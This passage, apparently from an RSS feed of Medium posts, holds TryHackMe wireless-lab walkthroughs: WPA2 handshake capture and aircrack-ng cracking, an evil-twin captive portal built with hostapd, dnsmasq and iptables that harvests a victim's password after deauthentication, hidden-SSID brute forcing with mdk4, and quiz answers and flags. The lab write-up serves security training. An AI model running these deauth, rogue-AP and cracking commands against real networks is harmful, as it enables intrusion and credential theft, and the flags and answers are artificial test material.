78:c1:a7:bf:72:46<br>MANA WPA2 HASHCAT | WPA*02*02469bf03c5a94c849f53f15e5b6e9b8*020000000200*78c1a7bf7246*4f66666963652d57694669*cafc6c8a59b6ea86feefba19d8c30d115ac54e7c227ce8aaf1fbb7d5365064a7*0103007502010a0000000000000000000174c604ede8e7ec3165ad74577f51b841f95b70bf5dcdcc8bd5ff40682d6417da000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH 78:c1:a7:bf:72:46<br>MANA: Captured a WPA/2 handshake from: b4:99:ba:6f:f9:45<br>MANA WPA2 HASHCAT | WPA*02*1bcc5d6e0eaaa42d0dd70d362e3c0af3*020000000200*b499ba6ff945*4f66666963652d57694669*0d98efd057f60ec7315d3c50a3b1d646904d1c40c7d7156282e0f04b46e3d283*0103007502010a00000000000000000001e6ddf64c58e0b20e088c4310d1b229287f393e941bb319412640c4dc6b73ab97000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00<br>wlan2: AP-STA-POSSIBLE-PSK-MISMATCH b4:99:ba:6f:f9:45<br>MANA: Captured a WPA/2 handshake from: b4:99:ba:6f:f9:45<br>MANA WPA2 HASHCAT | WPA*02*d3ce1fa214613972b09aabfbffaa4be3*020000000200*b499ba6ff945*4f66666963652d57694669*0d98efd057f60ec7315d3c50a3b1d646904d1c40c7d7156282e0f04b46e3d283*0103007502010a00000000000000000002e6ddf64c58e0b20e088c4310d1b229287f393e941bb319412640c4dc6b73ab97000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*00</pre><pre>ser@ip-10-144-155-182:~$ sudo aircrack-ng -w /home/user/wordlists/wifi-passwords.txt -e Office-WiFi office-02.cap<br>Reading packets, please wait...<br>Opening office-02.cap<br>Read 64 packets.</pre><pre>Reading packets, please wait...<br>Opening office-02.cap<br>Read 64 packets.</pre><pre>1 potential targets</pre><pre>                         Aircrack-ng 1.7 rev d3127e74</pre><pre>      [00:00:07] 4472/4808 keys tested (674.94 k/s) </pre><pre>      Time left: 0 seconds                                      93.01%</pre><pre>                           KEY FOUND! [ password1 ]</pre><pre>      Master Key     : 36 68 CC 73 51 9B A1 44 F0 62 A1 CF 09 6B 98 AC <br>                       FB 93 54 07 69 05 9D 69 49 74 00 43 29 18 3A AE </pre><pre>      Transient Key  : 08 06 AB 60 F7 B4 E2 AA 25 92 48 D0 1B 16 F2 B8 <br>                       E7 28 F7 CA 49 E3 D0 B5 BF AE C8 BB 13 09 D8 9D <br>                       92 66 BE 91 57 F6 1D 5B 2C 30 28 75 94 B9 4D F4 <br>                       37 BF 79 2A 2B 69 D4 9F B7 3A 10 26 50 DF 4E 65 </pre><pre>      EAPOL HMAC     : BA EA 56 F5 5C E0 E7 AD 7C C6 8A 7A 2D 79 98 D7</pre><p>Which fork of hostapd provides the MANA mode that answers probe requests for any SSID?</p><p>hostapd-mana</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*WtW6AvRm6rxKZdaDVr-1JQ.png" /></figure><p>What is the passphrase you recover for the probed Office-WiFi network?</p><p>password1</p><h3>Task 7</h3><pre>user@ip-10-144-155-182:~$ mkdir -p /tmp/portal</pre><pre>user@ip-10-144-155-182:~$ sudo ip link set wlan5 up</pre><pre>user@ip-10-144-155-182:~$ sudo ip addr add 192.168.10.1/24 dev wlan5</pre><pre>user@ip-10-144-155-182:~$ sudo pkill -f /tmp/portal/portal.py</pre><pre>user@ip-10-144-155-182:~$ sudo pkill -f /tmp/portal/hostapd.conf</pre><pre>user@ip-10-144-155-182:~$ sudo pkill -f &#39;dnsmas[q] --interface=wlan5&#39;</pre><pre>user@ip-10-144-155-182:~$ sudo ip addr flush dev wlan5</pre><pre>user@ip-10-144-155-182:~$ sudo iptables -t nat -S | grep 192.168.10.1 | sed &#39;s/^-A/-D/&#39; | xargs -rL1 sudo iptables -t nat</pre><pre>user@ip-10-144-155-182:~$ nano /tmp/portal/hostapd.conf</pre><pre>interface=wlan5<br>driver=nl80211<br>ssid=Guest-WiFi<br>hw_mode=g<br>channel=1<br>auth_algs=1<br>wpa=0<br>ignore_broadcast_ssid=0</pre><pre>user@ip-10-144-155-182:~$ sudo hostapd -B -t -f /tmp/portal/hostapd.log /tmp/portal/hostapd.conf</pre><pre>user@ip-10-144-155-182:~$ sudo systemctl stop dnsmasq</pre><pre>user@ip-10-144-155-182:~$ sudo dnsmasq --interface=wlan5 --bind-interfaces --except-interface=lo --dhcp-range=192.168.10.150,192.168.10.199,255.255.255.0,12h --dhcp-option=3,192.168.10.1 --dhcp-option=6,192.168.10.1 --address=/#/192.168.10.1 --dhcp-authoritative --log-dhcp --log-facility=/tmp/portal/dnsmasq.log --pid-file=/tmp/portal/dnsmasq.pid</pre><pre>user@ip-10-144-155-182:~$ sudo iptables -t nat -A PREROUTING -i wlan5 -p tcp --dport 80 -j DNAT --to-destination 192.168.10.1:8080</pre><pre>user@ip-10-144-155-182:~$ sudo iptables -t nat -A PREROUTING -i wlan5 -p udp --dport 53 -j DNAT --to-destination 192.168.10.1:53</pre><pre>user@ip-10-144-155-182:~$ sudo iptables -t nat -A OUTPUT -d 192.168.10.1 -p tcp --dport 80 -j DNAT --to-destination 192.168.10.1:8080</pre><pre>user@ip-10-144-155-182:~$ nano /tmp/portal/portal.py</pre><pre>user@ip-10-144-155-182:~$ nohup python3 /tmp/portal/portal.py &gt; /tmp/portal/portal.log 2&gt;&amp;1 &amp;<br>[2] 500618</pre><pre>user@ip-10-144-155-182:~$ sudo ip link set wlan1 up</pre><pre>user@ip-10-144-155-182:~$ sudo iw dev wlan1 scan | grep -E &#39;^BSS |SSID:|signal:|freq:&#39; | grep -B3 --no-group-separator &#39;SSID: Guest-WiFi&#39;<br>BSS f0:9f:c2:71:22:10(on wlan1)<br>BSS f0:9f:c2:71:22:10(on wlan1)<br>	freq: 2437<br>	signal: -30.00 dBm<br>	SSID: Guest-WiFi<br>BSS 02:00:00:00:05:00(on wlan1)<br>	freq: 2412<br>	signal: -30.00 dBm<br>	SSID: Guest-WiFi<br>bash: syntax error near unexpected token `(&#39;</pre><pre>user@ip-10-144-155-182:~$ sudo iw dev wlan0mon set channel 6</pre><pre>user@ip-10-144-155-182:~$ sudo aireplay-ng -0 4 -a F0:9F:C2:71:22:10 -c B0:72:BF:B0:78:48 wlan0mon<br>03:42:43  Waiting for beacon frame (BSSID: F0:9F:C2:71:22:10) on channel 6<br>03:42:43  Sending 64 directed DeAuth (code 7). STMAC: [B0:72:BF:B0:78:48] [ 0| 0 ACKs]<br>03:42:43  Sending 64 directed DeAuth (code 7). STMAC: [B0:72:BF:B0:78:48] [ 0| 0 ACKs]<br>03:42:44  Sending 64 directed DeAuth (code 7). STMAC: [B0:72:BF:B0:78:48] [ 0| 0 ACKs]<br>03:42:45  Sending 64 directed DeAuth (code 7). STMAC: [B0:72:BF:B0:78:48] [ 0| 0 ACKs]<br>user@ip-10-144-155-182:~$ sudo tail -f /tmp/portal/hostapd.log<br>1792805799.256461: wlan5: AP-STA-DISCONNECTED b0:72:bf:b0:78:48<br>1792805799.257356: wlan5: AP-DISABLED <br>1792805799.257371: wlan5: CTRL-EVENT-TERMINATING <br>1792805799.257503: nl80211: deinit ifname=wlan5 disabled_11b_rates=0<br>1792805922.439396: wlan5: interface state UNINITIALIZED-&gt;ENABLED<br>1792805922.439452: wlan5: AP-ENABLED <br>1792806168.468037: 1792806168.468042: wlan5: STA b0:72:bf:b0:78:48 IEEE 802.11: authenticated<br>1792806168.472163: 1792806168.472165: wlan5: STA b0:72:bf:b0:78:48 IEEE 802.11: associated (aid 1)<br>1792806168.472211: wlan5: AP-STA-CONNECTED b0:72:bf:b0:78:48<br>1792806168.472492: 1792806168.472493: wlan5: STA b0:72:bf:b0:78:48 RADIUS: starting accounting session 0F3A2E915EC0EF97</pre><pre>user@ip-10-144-155-182:~$ tail -f /tmp/portal/portal.log<br>nohup: ignoring input<br>[03:42:04] portal listening on 0.0.0.0:8080<br>[03:42:52] POST /login.php  from 192.168.10.101<br>[03:42:52]      raw body: Username=free2&amp;Password=5LqwwccmTg6C39y&amp;Submit=Login<br>[03:42:52]      *** HARVESTED CREDENTIAL  username=free2  password=5LqwwccmTg6C39y ***</pre><p><strong>What the Victim’s Browser Sees</strong></p><pre>user@ip-10-144-155-182:~$ nano /tmp/portal/victim.conf</pre><pre>network={<br>    ssid=&quot;Guest-WiFi&quot;<br>    bssid=02:00:00:00:05:00<br>    key_mgmt=NONE<br>    scan_ssid=1<br>}</pre><pre>user@ip-10-144-155-182:~$ sudo wpa_supplicant -B -i wlan1 -c /tmp/portal/victim.conf -f /tmp/portal/victim.log</pre><pre>user@ip-10-144-155-182:~$ sudo dhclient -v -1 wlan1<br>Internet Systems Consortium DHCP Client 4.4.3-P1<br>Copyright 2004-2022 Internet Systems Consortium.<br>All rights reserved.<br>For info, please visit &lt;https://www.isc.org/software/dhcp/&gt;</pre><pre>Listening on LPF/wlan1/02:00:00:00:01:00<br>Sending on   LPF/wlan1/02:00:00:00:01:00<br>Sending on   Socket/fallback<br>DHCPREQUEST for 192.168.15.23 on wlan1 to 255.255.255.255 port 67<br>DHCPACK of 192.168.15.23 from 192.168.15.1<br>RTNETLINK answers: File exists<br>bound to 192.168.15.23 -- renewal in 41379 seconds.</pre><pre>user@ip-10-144-155-182:~$ ip -br addr show wlan1<br>wlan1            DORMANT        192.168.15.23/24 fe80::ff:fe00:100/64 </pre><pre>user@ip-10-144-155-182:~$ sudo grep -E &quot;option:  (3 router|6 dns-server)&quot; /tmp/portal/dnsmasq.log | tail -2<br>user@ip-10-144-155-182:~$ dig +short @192.168.10.1 news.ycombinator.com<br>192.168.10.1</pre><pre>user@ip-10-144-155-182:~$ dig +short @192.168.10.1 intranet.contoso.local<br>192.168.10.1</pre><pre>user@ip-10-144-155-182:~$ curl -s -D - -o /dev/null --resolve news.ycombinator.com:80:192.168.10.1 &lt;http://news.ycombinator.com/&gt;<br>HTTP/1.1 302 Found<br>Server: BaseHTTP/0.6 Python/3.11.2<br>Content-Length: 0<br>Cache-Control: no-store<br>Location: &lt;http://192.168.10.1/portal&gt;</pre><pre>user@ip-10-144-155-182:~$ curl -s -o /dev/null -w &#39;%{http_code} -&gt; %{redirect_url}\n&#39; -A &#39;Mozilla/5.0 (Linux; Android 14) CaptivePortalLogin&#39; --resolve connectivitycheck.gstatic.com:80:192.168.10.1 &lt;http://connectivitycheck.gstatic.com/generate_204&gt;<br>302 -&gt; &lt;http://192.168.10.1/portal&gt;<br>user@ip-10-144-155-182:~$ sudo dhclient -r wlan1<br>Killed old client process</pre><pre>user@ip-10-144-155-182:~$ sudo kill $(cat /tmp/portal/dnsmasq.pid)</pre><pre>user@ip-10-144-155-182:~$ sudo pkill -f /tmp/portal/portal.py</pre><pre>user@ip-10-144-155-182:~$ sudo pkill -f /tmp/portal/hostapd.conf</pre><pre>user@ip-10-144-155-182:~$ sudo pkill -f /tmp/portal/victim.conf</pre><pre>user@ip-10-144-155-182:~$ sudo iptables -t nat -D PREROUTING -i wlan5 -p tcp --dport 80 -j DNAT --to-destination 192.168.10.1:8080</pre><pre>user@ip-10-144-155-182:~$ sudo iptables -t nat -D PREROUTING -i wlan5 -p udp --dport 53 -j DNAT --to-destination 192.168.10.1:53</pre><pre>user@ip-10-144-155-182:~$ sudo iptables -t nat -D OUTPUT -d 192.168.10.1 -p tcp --dport 80 -j DNAT --to-destination 192.168.10.1:8080</pre><pre>user@ip-10-144-155-182:~$ sudo ip addr del 192.168.10.1/24 dev wlan5</pre><pre>user@ip-10-144-155-182:~$ systemctl start dnsmasq<br>==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====<br>Authentication is required to start &#39;dnsmasq.service&#39;.<br>Multiple identities can be used for authentication:<br> 1.  user<br> 2.  Debian (debian)<br>Choose identity to authenticate as (1-2): 1<br>Password: <br>==== AUTHENTICATION COMPLETE ====</pre><p>Serving a fake login page from a rogue AP to trick users into entering credentials is an example of what kind of attack?</p><p>phishing</p><p>After moving the Guest-WiFi station onto your twin, what password does it submit to your captive portal?</p><p>5LqwwccmTg6C39y</p><h3>Task 8</h3><p>Which 802.11 amendment provides Management Frame Protection?</p><p><strong>802.11w</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*veHtxWatDkqBPkOLWcbZOQ.png" /></figure><h3>Task 9</h3><p>Flood IT-Admin with twenty spoofed addresses and count the access point’s authentication replies. What is the status code, in decimal, that it returns when it demands an anti-clogging token?</p><p>76</p><h3>Task 10</h3><p>You have finished this room. Click <strong>Complete</strong> to continue.</p><p>No answer needed</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f418fc0cb3f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wi-Fi Fundamentals and Reconnaissance — TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@ag3ntorang3cyb3r/wi-fi-fundamentals-and-reconnaissance-tryhackme-walkthrough-fed7b8bdb6b6?source=rss-91510a24d95d------2</link>
            <guid isPermaLink="false">https://medium.com/p/fed7b8bdb6b6</guid>
            <category><![CDATA[wireless-security]]></category>
            <category><![CDATA[wifihacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Ag3ntOrang3]]></dc:creator>
            <pubDate>Fri, 23 Oct 2026 03:16:32 GMT</pubDate>
            <atom:updated>2026-10-23T03:16:32.992Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*ORB949zbbui9b1CotCYi3w.png" /></figure><h3>Task 1</h3><p>Deploy the machine and read through the introduction, then continue to the next task when you are ready.</p><p><strong>Answer:</strong> No answer needed</p><h3>Task 2</h3><p><strong>What is the term for the MAC address that uniquely identifies a single access point?</strong></p><p>BSSID</p><p><strong>What term describes the human-readable name of a wireless network?</strong></p><p>ESSID</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GirMb883GTo_qUett5L8bw.png" /></figure><h3>Task 3</h3><p><strong>Which type of 802.11 frame does an access point broadcast periodically to advertise its presence?</strong></p><p>beacon</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eybqx1TRw1OcMdwEgWGF-g.png" /></figure><p><strong>Which management frame does a client send to actively search for a network by name?</strong></p><p>probe request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvHpI04diW1oj43arzvRAA.png" /></figure><h3>Task 4</h3><p><strong>After running </strong><strong>sudo airmon-ng start wlan0, what is the name of the monitor-mode interface that is created?</strong></p><p>wlan0mon</p><pre>user@ip-10-144-129-9:~$ sudo airmon-ng check kill<br><br>Killing these processes:<br>    PID Name<br>    493 dhclient<br>    646 wpa_supplicant<br>user@ip-10-144-129-9:~$ sudo airmon-ng start wlan0<br>PHY Interface Driver  Chipset<br>phy2 wlan0  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>  (mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon)<br>  (mac80211 station mode vif disabled for [phy2]wlan0)<br>phy3 wlan1  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy4 wlan2  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy5 wlan3  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy6 wlan4  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy7 wlan5  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy62 wlan60  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy63 wlan61  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy64 wlan62  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br>phy65 wlan63  mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211<br><br>user@ip-10-144-129-9:~$ sudo iw dev<br>phy#65<br> Interface wlan63<br>  ifindex 70<br>  wdev 0x4100000001<br>  addr 02:00:00:00:3f:00<br>  type managed<br>  txpower 20.00 dBm<br>phy#64<br> Interface wlan62<br>  ifindex 69<br>  wdev 0x4000000001<br>  addr 02:00:00:00:3e:00<br>  type managed<br>  txpower 20.00 dBm<br>phy#63<br> Interface wlan61<br>  ifindex 68<br>  wdev 0x3f00000001<br>  addr 02:00:00:00:3d:00<br>  type managed<br>  txpower 20.00 dBm<br>phy#62<br> Interface wlan60<br>  ifindex 67<br>  wdev 0x3e00000001<br>  addr 02:00:00:00:3c:00<br>  type managed<br>  txpower 20.00 dBm<br>phy#7<br> Interface wlan5<br>  ifindex 12<br>  wdev 0x700000001<br>  addr 02:00:00:00:05:00<br>  type managed<br>  txpower 20.00 dBm<br>phy#6<br> Interface wlan4<br>  ifindex 11<br>  wdev 0x600000001<br>  addr 02:00:00:00:04:00<br>  type managed<br>  txpower 20.00 dBm<br>phy#5<br> Interface wlan3<br>  ifindex 10<br>  wdev 0x500000001<br>  addr 02:00:00:00:03:00<br>  type managed<br>  txpower 20.00 dBm<br>phy#4<br> Interface wlan2<br>  ifindex 9<br>  wdev 0x400000001<br>  addr 02:00:00:00:02:00<br>  type managed<br>  txpower 20.00 dBm<br>phy#3<br> Interface wlan1<br>  ifindex 8<br>  wdev 0x300000001<br>  addr 02:00:00:00:01:00<br>  type managed<br>  txpower 20.00 dBm<br>phy#2<br> Interface wlan0mon<br>  ifindex 76<br>  wdev 0x200000002<br>  addr 02:00:00:00:00:00<br>  type monitor<br>  channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412 MHz<br>  txpower 20.00 dBm</pre><h3>Task 5</h3><p><strong>What value appears in the AUTH column for an enterprise (802.1X) network?</strong></p><p>MGT</p><p><strong>What channel are the enterprise networks operating on?</strong></p><p>44</p><p><strong>How many access points are broadcasting the ESSID </strong><strong>CorpNet?</strong></p><p>2</p><pre>user@ip-10-144-129-9:~$ sudo airodump-ng --band bg wlan0mon<br>CH  8 ][ Elapsed: 1 min ][ 2026-10-23 04:43 ][ WPA handshake: F0:9F:C2:71:22:<br> BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESS<br> F0:9F:C2:71:22:17  -25       98      104    3  44   54e  WPA2 CCMP   MGT  Cor<br> F0:9F:CB:3F:BC:27  -25       98        0    0  44   54   WPA2 CCMP   MGT  Cor<br> F0:9F:C2:71:AF:2F  -25       98      590    0  44   54   WPA3 CCMP   OWE  Fre<br> F0:9F:C2:71:22:16  -25       98       37    0  44   54e  WPA2 CCMP   MGT  Bra<br> F0:9F:C2:7A:33:28  -25       98       47    1  44   54e  WPA2 CCMP   MGT  Bra<br> F0:9F:C2:71:22:1A  -25       98        0    0  44   54e  WPA2 CCMP   MGT  Cor<br> F0:9F:C2:71:22:15  -25       98        4    0  44   54e  WPA2 CCMP   MGT  Cor<br> 88:15:44:78:8A:F3  -28       38        0    0   6   54   WPA2 CCMP   PSK  MiF<br> F0:9F:C2:71:22:12  -28       38       12    1   6   54   WPA2 CCMP   PSK  Hom<br> F0:9F:C2:71:22:10  -28       38       20    2   6   54   OPN              Gue<br> 88:15:44:BC:FA:C1  -28       41        0    0  11   54   WPA2 CCMP   PSK  WIF<br> F0:9F:C2:1A:CA:25  -28       41       20    0  11   54e  WPA3 CCMP   SAE  IT-<br> F0:9F:C2:6A:88:26  -28       41        0    0  11   54   OPN              &lt;le<br> F0:9F:C2:11:0A:24  -28       41        0    0  11   54e  WPA3 CCMP   SAE  Mgm<br> 88:15:44:BF:99:A2  -28       38        0    0   9   54   WPA2 CCMP   PSK  vod<br> 88:15:44:AA:3A:10  -28       65        0    0   3   54   WPA2 CCMP   PSK  MOV<br> F0:9F:C2:71:22:11  -28       65     2327   35   3   54   WEP  WEP         Hom<br>Quitting...</pre><pre>user@ip-10-144-129-9:~$ sudo airodump-ng --band a -c 44 wlan0mon<br><br>CH 44 ][ Elapsed: 1 min ][ 2026-10-23 04:44 ][ fixed channel wlan0mon: 8 <br> BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH<br> 88:15:44:AA:3A:10  -28   0       10        0    0   3   54   WPA2 CCMP   PSK <br> 88:15:44:BF:99:A2  -28   0       12        0    0   9   54   WPA2 CCMP   PSK <br> F0:9F:C2:71:22:11  -28   0       10      382    0   3   54   WEP  WEP        <br> F0:9F:C2:71:22:13  -28   0       15        0    0   8   54   WPA2 CCMP   PSK <br> 88:15:44:78:8A:F3  -28   0       14        0    0   6   54   WPA2 CCMP   PSK <br> F0:9F:C2:71:22:12  -28   0       14        8    0   6   54   WPA2 CCMP   PSK <br> F0:9F:C2:71:22:10  -28   0       14       12    0   6   54   OPN             <br> 88:15:44:BC:FA:C1  -28   0       15        0    0  11   54   WPA2 CCMP   PSK <br> F0:9F:C2:1A:CA:25  -28   0       15        0    0  11   54e  WPA3 CCMP   SAE <br> F0:9F:C2:6A:88:26  -28   0       15        0    0  11   54   OPN             <br> F0:9F:C2:11:0A:24  -28   0       15        0    0  11   54e  WPA3 CCMP   SAE <br> F0:9F:C2:71:22:17  -25   0      426      855   18  44   54e  WPA2 CCMP   MGT <br> F0:9F:CB:3F:BC:27  -25   0      426        9    0  44   54   WPA2 CCMP   MGT <br> F0:9F:C2:71:AF:2F  -25   0      426     1770   40  44   54   WPA3 CCMP   OWE <br> F0:9F:C2:71:22:16  -25   0      426      129    0  44   54e  WPA2 CCMP   MGT <br> F0:9F:C2:7A:33:28  -25   0      426      175    0  44   54e  WPA2 CCMP   MGT <br> F0:9F:C2:71:22:1A  -25 100      426        0    0  44   54e  WPA2 CCMP   MGT</pre><pre>user@ip-10-144-129-9:~$ sudo airodump-ng -c 44 --bssid F0:9F:C2:71:22:15 -w corpnet-capture wlan0mon<br>04:43:37  Created capture file &quot;corpnet-capture-01.cap&quot;.<br><br>CH 44 ][ Elapsed: 1 min ][ 2026-10-23 04:44 ] fixed channel wlan0mon: 13 <br> BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH<br> F0:9F:C2:71:22:15  -25   0      648      246    5  44   54e  WPA2 CCMP   MGT <br> BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Pr<br> F0:9F:C2:71:22:15  64:32:A8:BA:6C:41  -26   54e- 6e     0        6            <br> F0:9F:C2:71:22:15  64:32:A8:07:6C:40  -26   54e-54e     0      236            <br>Quitting...</pre><h3>Task 6</h3><p><strong>What is the SSID of the hidden network you uncovered?</strong></p><p>Staff-Net</p><p><strong>Which channel does the hidden network operate on?</strong></p><p>11</p><p><strong>In </strong><strong>airodump-ng, a hidden network&#39;s ESSID field shows a blank name and a length in the form </strong><strong>&lt;length: N&gt;. What is </strong><strong>N here?</strong></p><p>9</p><p><strong>Which </strong><strong>wpa_supplicant option makes the client probe for a network by name rather than wait for its beacons?</strong></p><p>scan_ssid</p><p><strong>Join the network you uncovered and read the panel on its gateway. What flag does it return?</strong></p><p>THM{0e6521916c3adf08e5b6830f6675351e4eebec92}</p><pre>user@ip-10-144-129-9:~$ sudo iw dev wlan0mon set channel 11<br><br>user@ip-10-144-129-9:~$ sudo mdk4 wlan0mon p -t F0:9F:C2:6A:88:26 -f /home/user/wordlists/ssid-names.txt<br>Waiting for a beacon frame from target to get its SSID length.<br>SSID length is 9<br>Trying SSID: Employees                                           <br>Packets sent:      1 - Speed:    1 packets/sec<br>Probe Response from target AP with SSID Staff-Net                <br>Job&#39;s done, have a nice day :)<br><br>user@ip-10-144-129-9:~$ nano staff.conf<br>network={<br>    ssid=&quot;Staff-Net&quot;<br>    scan_ssid=1<br>    key_mgmt=NONE<br>}<br><br>user@ip-10-144-129-9:~$ sudo wpa_supplicant -B -i wlan1 -c staff.conf<br>Successfully initialized wpa_supplicant<br><br>user@ip-10-144-129-9:~$ sudo iw dev wlan1 link<br>Connected to f0:9f:c2:6a:88:26 (on wlan1)<br> SSID: Staff-Net<br> freq: 2462<br> RX: 256494 bytes (5751 packets)<br> TX: 3410 bytes (103 packets)<br> signal: -30 dBm<br> tx bitrate: 54.0 MBit/s<br> bss flags: short-slot-time<br> dtim period: 2<br> beacon int: 100<br><br>user@ip-10-144-129-9:~$ sudo dhclient -v wlan1<br>Internet Systems Consortium DHCP Client 4.4.3-P1<br>Copyright 2004-2022 Internet Systems Consortium.<br>All rights reserved.<br>For info, please visit https://www.isc.org/software/dhcp/<br>Listening on LPF/wlan1/02:00:00:00:01:00<br>Sending on   LPF/wlan1/02:00:00:00:01:00<br>Sending on   Socket/fallback<br>DHCPDISCOVER on wlan1 to 255.255.255.255 port 67 interval 8<br>DHCPOFFER of 192.168.16.23 from 192.168.16.1<br>DHCPREQUEST for 192.168.16.23 on wlan1 to 255.255.255.255 port 67<br>DHCPACK of 192.168.16.23 from 192.168.16.1<br>bound to 192.168.16.23 -- renewal in 42666 seconds.<br><br>user@ip-10-144-129-9:~$ curl -s -c cookies.txt -d &quot;Username=admin&amp;Password=admin&amp;Submit=Submit&quot; http://192.168.16.1/login.php -o /dev/null<br><br>user@ip-10-144-129-9:~$ curl -s -b cookies.txt http://192.168.16.1/index.php<br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;WiFi Router Configuration&lt;/title&gt;<br>    &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;script src=&quot;script.js&quot;&gt;&lt;/script&gt;<br>&lt;div class=&quot;content&quot;&gt;<br>Welcome admin&lt;br&gt;&lt;br&gt;Flag: &lt;button onclick=&quot;copyFlagToClipboard(&#39;THM{0e6521916c3adf08e5b6830f6675351e4eebec92}&#39;)&quot;&gt;THM{0e6521916c3adf08e5b6830f6675351e4eebec92}&lt;/button&gt;&lt;br&gt;&lt;br&gt;</pre><h3>Task 7</h3><p><strong>Which </strong><strong>airodump-ng flag writes the captured data to files?</strong></p><p>-w</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*NC_ReOTBW4t1LKDmhc03lA.png" /></figure><pre>user@ip-10-144-129-9:~$ sudo airodump-ng --bssid F0:9F:C2:71:22:12 -c 6 -w home2g wlan0mon<br>05:01:04  Created capture file &quot;home2g-01.cap&quot;.<br><br>CH  6 ][ Elapsed: 1 min ][ 2026-10-23 05:02 <br> BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH<br> F0:9F:C2:71:22:12  -28   0      691      435    3   6   54   WPA2 CCMP   PSK <br> BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Pr<br> F0:9F:C2:71:22:12  28:6C:07:6F:F9:44  -29   54 - 1      0        8            <br> F0:9F:C2:71:22:12  28:6C:07:6F:F9:43  -29   54 -54      0      426            <br>Quitting...<br>user@ip-10-144-129-9:~$ sudo airodump-ng --output-format csv --bssid F0:9F:C2:71:22:12 -c 6 -w home2g wlan0mon<br> CH  6 ][ Elapsed: 54 s ][ 2026-10-23 05:02 <br> BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH<br> F0:9F:C2:71:22:12  -28   0      569      334    4   6   54   WPA2 CCMP   PSK <br> BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Pr<br> F0:9F:C2:71:22:12  28:6C:07:6F:F9:44  -29   54 - 1      0        3            <br> F0:9F:C2:71:22:12  28:6C:07:6F:F9:43  -29   54 -54      0      332            <br>Quitting...</pre><h3>Task 8</h3><p>You’re ready to move on. Click <strong>Complete</strong> to finish.</p><p><strong>Answer:</strong> No answer needed</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fed7b8bdb6b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking Open and WPA2-PSK Networks — TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@ag3ntorang3cyb3r/tryhackme-attacking-open-and-wpa2-psk-networks-walkthrough-4da840eccaf1?source=rss-91510a24d95d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4da840eccaf1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wireless-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[wpa2]]></category>
            <dc:creator><![CDATA[Ag3ntOrang3]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 05:37:33 GMT</pubDate>
            <atom:updated>2026-11-01T15:58:35.907Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*7k0Bnwflw_lbiXZ7J4r1gQ.png" /></figure><h3>Introduction</h3><p>In this TryHackMe room, I explored open Wi-Fi networks and WPA2-PSK security. I used tools from the Aircrack-ng suite, along with tshark, Hashcat, curl, and Nmap, to investigate wireless traffic and recover the flags.</p><p>In this walkthrough, I’ll share the steps I followed, the commands I used, and the key findings from each task.</p><blockquote><strong><em>Disclaimer:</em></strong><em> This walkthrough documents activity in an authorized TryHackMe lab. Only test networks you own or have permission to assess.</em></blockquote><h3>Task 1: Setting Up the Environment</h3><p>I started by connecting to the lab machine through SSH and preparing the wireless interface for monitoring.</p><pre>user@ip-10-146-169-56:~$ ssh user@10.146.169.56<br>The authenticity of host &#39;10.146.169.56 (10.146.169.56)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:jw7tqe+c4lMzxCd3xJwL8BtLC8qhIA8Pd82iuX/Jj78.<br>This key is not known by any other names.<br>Are you sure you want to continue connecting 